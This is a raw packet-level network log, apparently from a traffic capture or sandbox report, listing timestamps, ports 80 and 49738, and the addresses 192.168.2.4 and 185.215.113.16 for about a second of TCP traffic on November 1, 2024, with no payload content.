Nov 1, 2024 08:50:20.376293898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.654928923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.654942036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.654952049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.654978991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.654990911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.654993057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.655003071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.655015945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.655042887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.655056000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.655087948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.655098915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.655109882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.655122042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.655133009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.655144930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.655172110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.655172110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.655184031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.773473978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773552895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773564100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773586988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773598909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773610115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773622036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773624897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.773642063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773643017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.773659945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773670912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773694992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773700953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.773700953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.773705006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773716927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773729086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773740053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773752928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773780107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773791075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773793936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.773793936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.773801088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773818970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773830891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773842096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773849010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.773874044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773884058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.773884058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.773885965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773895979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.773976088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.774003029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.774013996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.774024963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.774048090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.774070024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892055035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892072916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892085075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892117977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892131090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892143011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892158031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892173052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892174959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892187119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892241955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892252922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892255068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892255068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892265081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892276049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892302036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892309904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892319918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892330885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892343044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892350912 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892357111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892360926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892373085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892393112 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892395973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892429113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892663002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892673016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892683983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892719030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892719984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892731905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892741919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892750978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892769098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892781019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892791033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892796993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892806053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892815113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892827034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892832994 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892838001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892849922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892865896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892891884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892903090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892903090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892910004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892920971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892931938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892970085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.892975092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892986059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.892996073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893019915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893026114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.893049955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.893060923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893131971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893141985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893151999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.893158913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893183947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893196106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893204927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893229008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.893229008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.893260956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.893423080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893434048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893444061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893471003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893477917 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.893481970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893495083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893512964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893527031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.893528938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.893553019 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.893570900 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.010711908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010735035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010754108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010765076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010776997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010787964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010828018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.010828018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.010833979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010853052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010865927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010879040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010926008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010936975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010937929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.010937929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.010948896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010962963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010976076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.010984898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011019945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011020899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011020899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011030912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011042118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011053085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011070013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011096954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011100054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011127949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011141062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011147022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011178017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011280060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011291981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011302948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011333942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011333942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011382103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011393070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011403084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011415958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011428118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011440039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011445999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011451006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011466026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011491060 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011507034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011517048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011527061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011540890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011568069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011568069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011616945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011629105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011637926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011652946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011670113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011674881 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011686087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011694908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011710882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011719942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011719942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011744022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011760950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011775970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011778116 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011791945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011795998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011802912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011811972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011828899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011838913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011847973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011852026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011878014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011900902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011914015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011925936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.011941910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011941910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011969090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.011995077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012006044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012021065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012042999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012054920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012056112 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012067080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012079000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012093067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012160063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012171984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012183905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012196064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012207031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012213945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012253046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012262106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012262106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012275934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012288094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012298107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012367010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012372017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012372017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012379885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012389898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012402058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012408972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012425900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012429953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012437105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012447119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012505054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012505054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012521982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012532949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012542963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012574911 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012590885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012603045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012613058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012639046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012644053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012651920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012661934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012674093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012674093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012685061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012690067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012727976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012754917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012782097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012794018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012826920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012859106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012866020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012866020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012907982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012911081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012917995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012928009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012952089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.012957096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.012964010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.013000965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.013047934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.013060093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.013072014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.013082981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.013094902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.013098001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.013108969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.013127089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.029947996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129410028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129430056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129457951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129478931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129481077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129496098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129518986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129529953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129570961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129570961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129581928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129595041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129616976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129631042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129641056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129652023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129668951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129669905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129669905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129686117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129687071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129705906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129715919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129728079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129734039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129739046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129749060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129759073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129770994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129798889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129810095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129811049 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129811049 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129811049 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129838943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129848957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129858971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129864931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129887104 CET	49738	80	192.168.2.4	185.215.113.16
